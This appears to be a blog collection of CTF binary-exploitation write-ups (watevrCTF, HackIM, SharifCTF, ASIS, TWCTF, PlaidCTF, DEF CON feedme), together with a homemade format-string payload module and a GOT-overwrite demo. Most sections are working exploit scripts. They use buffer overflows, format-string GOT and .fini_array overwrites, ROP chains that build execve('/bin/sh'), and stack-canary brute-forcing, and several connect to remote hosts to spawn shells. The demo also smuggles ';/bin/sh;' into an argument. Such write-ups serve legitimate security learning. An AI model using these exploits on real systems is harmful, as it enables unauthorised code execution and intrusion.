Voting Machine 1 (watevrCTF 2019)

Simple Buffer overflow challenge where you have to overwrite RIP with the ‘super_secret_function'(method which prints flag).

Idea to solve the challenge:

[*] Offset to reach RIP is 10bytes and then overwrite RIP with ‘0x400807’ to print the flag.

Exploit:

from pwn import *

super_secret_function = 0x400807
payload = "A"*10
payload += p64(super_secret_function)
print payload

➜ pwn python payload.py| nc 13.48.67.196 50000

Flag: watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}

Voting Machine 2 (watevrCTF 2019)

Bianry had a format string vulnerability as first argument of printf was controlled by user.

Idea to solve the challenge:

[*] Overwrite the GOT of puts with ‘0x08420736’ (method that prints flag). if you are not sure what is GOT and how it works i recommend you to read this writeup. The reason for choosing GOT of puts is becuase it is been invoked more than once before printf.

Here is the exploit for the challenge.

from pwn import *

get_got = 0x8422020

writes = {0x08422020:0x08420736}

payload = 'AA'
payload += fmtstr_payload(8, writes, numbwritten=2)

p = remote("13.53.125.206", 50000)
p.recvuntil("Topic: ")
p.sendline(payload)
p.interactive()

The flag is – watevr{GOT_som3_fl4g_for_you_https://www.youtube.com/watch?v=hYeFcSq7Mxg}  

HackIM-2017 (Exploitation – 200)

A ELF 32-bit LSB executable binary was given which is not stripped.
It is type of menu driven program where you can Inesrt, List, Search, Delete, and Exit form Book Manager.
If you go through the search program you will find the “Format string vulnerability” and the permission of the binary are

CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

As NX is disabled so we can execute shellcode. So here is the idea on how to solve the challenge
[*] Leak any of the address form heap through format string vulnerability
[*] Write shell code through insert function
[*] Over write got of strchr with the leaked heap address using format string vulnerability

Here is the exploit

from pwn import *
import format

got_strchr = 0x804b038
shellcode = asm(shellcraft.linux.sh())

def insert(name,idx=0):
        p.sendline("1")
        p.recvuntil("book name: ")
        p.sendline(name)
        p.sendlineafter("book id: ",str(idx))

def search(query,choice=False):
        p.sendline("3")
        p.recvuntil("query: ")
        p.sendline(query)
        p.recvuntil("Searching with: ")
        if choice == True:
                addr = int(p.recvline().strip(),16)
                p.recvline()
                return addr

#p = process("level1.bin")
p = remote("34.198.96.6",9001)
insert(shellcode)
heap = search('0x%7$x',True)
log.success("{}".format(hex(heap)))
payload = format.makepayload(heap,got_strchr,'11')
search(payload)
p.interactive()

SharifCTF 7 pwn-50 (Guess)

In this challenge binary was not given and you are supposed connect and guess through net cat connection.

I was just brute-forcing and from the offset 135 i started getting flag

%136$lx
5443666972616853
Hidden string is at somewhere.
%137$lx
3832346435617b46
Hidden string is at somewhere.
%138$lx
Hidden string is at somewhere.
6237636363323336
%139$lx
Hidden string is at somewhere.
6136633735336466
%140$lx
Hidden string is at somewhere.
3561383761383231
%141$lx
Hidden string is at somewhere.
7fc7007d6338

You will get flag through this script

>>> a = ["5443666972616853","3832346435617b46","6237636363323336","6136633735336466","3561383761383231","7fc7007d6338"]
>>> for i in range(1,7):
...   b = a[i].decode('hex')
...   print b[::-1]
... 
F{a5d428
632ccc7b
fd357c6a
128a78a5
8c}

Module in Python for automating “Format String Vulnerability”

I have written small module in python where we can automate the “format string vulnerability”.

Most of the time when i find format string vulnerability binaries in CTF’s i kept on doing the small scripting part again and again, so i have decided to write a module that keeps the work simple.

import struct
def p32(val):
    return str(struct.pack("<I", val))

def makepayload(leak, addr, offset):
    upper = int((leak)[2:6],16)
    lower = int((leak)[6:10],16)

    if (upper <= lower):
        payload = p32(addr + 2)+p32(addr)+"%"+str(upper-8) +"x%"+ offset + "$hn"+"%"+str(abs(lower-upper))+ "x%" + str(int(offset) + 1) + "$hn"

    else:
        payload = p32(addr)+p32(addr + 2)+"%"+str(lower-8) +"x%" + offset +"$hn"+"%"+str(abs(upper-lower))+"x%" + str(int(offset) + 1) +"$hn"

    return payload

You can just import this and attack the binary, any ways i will try to demonstrate using small example.

#include 

int data;

int main(int argc, char **argv){

  data = 0;
  if(argc != 2){
    printf("Enter argument\n");
    return 0;
  }
  char buf[100];
  strncpy(buf, argv[1],100);
  printf(buf);

  if(data == 0)
    printf("Data not changed\n");
  else
    printf("Data changed!!!\n");
  return 0;
}

In this binary i am just aiming to change the value of global variable data using the vulnerable “printf”.

➜  module ./try $(python -c 'print "A"*4 + "-%x"*10')
AAAA-ffdef99e-64-ffdef0a4-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78Data not changed

So here i can read stack and could read the input AAAA at 4th position and using gdb i can found out the address of data.

Here is the exploit.

import format
          
payload = format.makepayload('0x00000100', 0x0804a030,      '4')
                              value     address of data    offset  
print payload

Here is the output

 ➜  module python exploit.py 
2�0�%-8x%4$hn%256x%5$hn
➜  module ./try $(python exploit.py)
2�0�ffdee9a5                                                                                                                                                                                                                                                              64Data changed!!!

ASISCTF-Finals2016(Diapers Simulator)-pwn

This challenge worked for me locally and i got remote shell also but i couldn’t intract with the server for which i don’t the reason, if any one of you finds it please comment to this blog.

Coming to challenge it was a indirect format string vulnerability where you are supposed to get control over the string that is not under our control. 1

Here the brand name is ended with a null byte hence we cannot overflow to the buffer that is passed as argument to printf. But here calling “Change Diapers” decrement integer by -1, hence calling 257 times will make it 0xffffffff. Hence  by doing this we can remove the NULL pointer and overflow into buffer and control the first argument to printf. So using format string vulnerability we can GOT of strlen with system and calling “change brand”  with strlen and spwan a shell. Here is the exploit for the challenge

from pwn import *
strlen = 0x804b028
#p=remote("diapers.asis-ctf.ir",1343)
p=process("diapers")
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
for x in range(0,257):
       p.sendline("1")
       p.recvuntil("> ")
p.sendline("0")
p.recvuntil(": ")
payload=fit({15:"%x-%x-"},filler="A",length=108)
p.sendline(payload)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.recvuntil("-")
system=int(p.recvuntil("-").strip("-"),16)-0x15dc9
upper=int(hex(system)[2:6],16)
lower=int(hex(system)[6:10],16)
p.sendline("0")
p.recvuntil(": ")
if upper <= lower:         
  payload=fit({0:"sh\x00",15:p32(strlen+2)+p32(strlen)+"%"+str(upper-8)
+"x%18$hn"+"%"+str(abs(lower-upper))+ "x%19$hn" },length=108) 
else : 
  payload=fit({0:"sh\x00",15:p32(strlen)+p32(strlen+2)+"%"+str(lower-8)
+"x%18$hn"+"%"+str(abs(upper-lower))+"x%19$hn" },length=108) 
p.sendline(payload) 
print p.recvuntil("> ")
p.sendline("2")
print p.recvuntil("> ")
p.sendline("0")
p.interactive()

Tokyo Westerns/MMA CTF 2nd 2016 – greeting-150(pwn)

➜  greeting file greeting
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, 
not stripped

checksec: greeting
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

The binary simply asks for our name and then echoes it back, but while printing it back it uses a single augmented printf i.e name, which leads to “format string vulnerability”. After looking at it, i just though of overwriting GOT of any function that is called after printf, but after little of reversing i got know that there was function that is called.

Then i though of overwriting DTOR but i guess they were hard-coded, so that was also that possible and wasted lot of my thinking of other things. Finally this link helped me to think about .fini_array session. As this binary has NX enabled to cannot execute shell code. So i tired overwriting GOT of printf function which will help to spawn a shell in the next call of the main function but that didn’t work.  Finally i was searching for the functions whose argument was under our control and finally found “strlen” in getline function.

 So idea behind solving this problem is:

-> overwriting .fini_array with main function.
-> overwriting GOT of strlen with "system".
-> overwriting fini and GOT must be done in a single shot i.e in the first call of main 
-> giving input as "sh" in the second call of main function. 

Exploit code for the exploiting the binary:

from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
p = remote('pwn2.chal.ctf.westerns.tokyo',16317)

exploit = 'AA'
exploit += pack(0x08049936)
exploit += pack(0x08049a56)
exploit += pack(0x08049a54)
exploit += pack(0x08049934)

first = 0x804 - 0x1c - 0x8 #print 0x804 bytes before 0x8049936 
second = 0x8490 - 0x0804
third = 0x85ed - 0x8490
exploit += '%' + str(first) +  'x%12$hn'
exploit += '%13$hn'
exploit += '%' + str(second) + 'x%14$hn'
exploit += '%' + str(third) + 'x%15$hn'
exploit += ""

print p.recvuntil('... ')
p.sendline(exploit)
print p.recvuntil('... ')
p.sendline("sh")
p.interactive()
#TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

Running this exploit code will spawn a shell 🙂

Ropasaurusrex (plaidctf-2014)

This is one of the best binary problem that i have solved. This problem i have solved 1 year back but i forgot to update.

This problem is completely based on ASLR bypassing, where we are supposed to overwrite GOT table.

As many writeup’s are there to explain this same problem i am not planning to give the entire description of the exploit.

from pwn import *

# Run the file (cat inp /dev/stdin)|./ropasaurusrex as the childprocess is being spawned

#got_libc_start_main = 0x8049618

#__libc_start_main = 0xf7e22990
#system = 0xf7e49190

#0x080484b5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
#0x080483bb: xchg eax, esi ; add al, 0x08 ; add dword [ebx+0x5D5B04C4], eax ; ret  ;  (1 found)

#value to ebx :aaa99154

#address of "sh" : 0x804867f

payload = ''

payload += "A"*140 #offset to reach eip
payload += p32(0x080484b5)
payload += p32(0xaaa99154)
payload += p32(0x268f8)
payload += p32(0xdeedbeef)
payload += p32(0xcafebabe)
payload += p32(0x080483bb)
payload += p32(0x0804835c)
payload += p32(0x0804867f)

print payload

 

feedme (DefconCTF-2016)

In this challenge a 32-bit huge statically liked executable was given. The checksec result of that binary is

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   feedme

NX was enabled but there was no PIE and RPATH. And after executing and little debugging of the file, i found that a parent process generates child process.

The problem works like this, once the binary is been executed the parent process launches child process and after giving the input, again it generates the child process and that happens in a loop and number of bytes of input depends upon on the first byte. For suppose if we input A then we can input only 64 bytes of data.

After little more debugging i got to know that there was a canary and breaking that canary will give you control over instruction pointer.

[*]Brute-force canary first

[*]ROP chain to get the shell

So here is the exploit. Actually this problem is partially solved by all of us, so it was whole bi0s team effort

#!/usr/bin/env python


from pwn import *
import sys
import string


pop_eax = 0x080e243d
pop_ecx_pop_ebx = 0x0806f371
pop_edx = 0x0806f34a
mov_dword_edx_eax = 0x0809a7ed
int_0x80 = 0x0806fa20



def bruteForceCanary(p, offset, length):
    """ @jayakrishna, @rakesh """
    canary = "\x00" 
    for byte in xrange(1,length):
        for canary_byte in xrange(256):
	    hex_byte = chr(canary_byte)
            payload= str(chr(offset + len(canary) + 1)) + "A"*offset  + canary + hex_byte
	    print (canary + hex_byte).encode("hex")			
	    p.send(payload)
	    p.recvuntil("...")
	    p.recvline()
	    if p.recvline().find("YUM") > -1:
	        canary += hex_byte
		break
    return canary




def generateROPChain():
    """ @akshay """
    rop  = p32(pop_edx)
    rop += p32(0x080ea000)
    rop += p32(pop_eax)
    rop += "/bin"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea004)
    rop += p32(pop_eax)
    rop += "/sh\0"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea008) # double pointer
    rop += p32(pop_eax)
    rop += p32(0x080ea000)
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea00c)
    rop += p32(pop_eax)
    rop += p32(0)          # char** terminator
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_ecx_pop_ebx)
    rop += p32(0x080ea008)
    rop += p32(0x080ea000)
    rop += p32(pop_edx)
    rop += p32(0x080ea00c)

    rop += p32(pop_eax)
    rop += p32(0xb)
    rop += p32(int_0x80)
    return rop
	

def main():
    target = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me"
    port = 4092
    context.bits = 32
    if "local" in sys.argv:
        target = "0.0.0.0"
        port = 1234

    offset_after_canary = 12
    p = remote(target,port)
    payload=str(chr(37)) # placeholder
    payload+= string.ascii_uppercase + "a"*(32-26)
    payload+= bruteForceCanary(p, 32,4)
    payload += "A"*offset_after_canary
    payload += generateROPChain()


    if len(payload) > 255:
        print "\n\nPayload cannot be greater than 255 bytes ", len(payload), "\n\n"
        sys.exit(0)


    payload = chr(len(payload)-1) + payload[1:]
    p.send(payload)
    p.interactive()


if __name__ == "__main__":
    main()

Cracking GOT using pointers

As in my previous blog i have specified how GOT is vulnerable, this is one of the case where you can exploit which is using pointers.

I have used the small program which directly explains the concept.

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
  char *pointer = NULL;
  char buffer[10];
  pointer = buffer;
  strcpy(pointer, argv[1]);
  printf("Array contains %s at %p\n", pointer, &pointer);
  strcpy(pointer, argv[2]);
  printf("Array contains %s at %p\nUse this as argument %s \n", pointer, &pointer,argv[3]);
  return EXIT_SUCCESS;
}

 

By just looking at the program you should understand the vulnerability, which the program is using “strcpy” to copy. So here is the idea of the to exploit the program.

[*] Using first strcpy overflow the array “buffer” and change the pointer to the GOT of printf.

pointer <– [GOT]

[*] Using the second “strcpy” overwrite the GOT with “system” function, which will spawn you shell at the time of calling second printf function.

[GOT]<– “address of system” (because same pointer is used in the strcpy)

[*] Also supply third argument as “;/bin/sh;” that will do “system(“Array contains %s at %p\nUse this as argument %s \n”, pointer, &pointer,argv[3]);”

I got this idea by looking at this resource. My blog may not be that great as that article but still i tried giving brief description about it.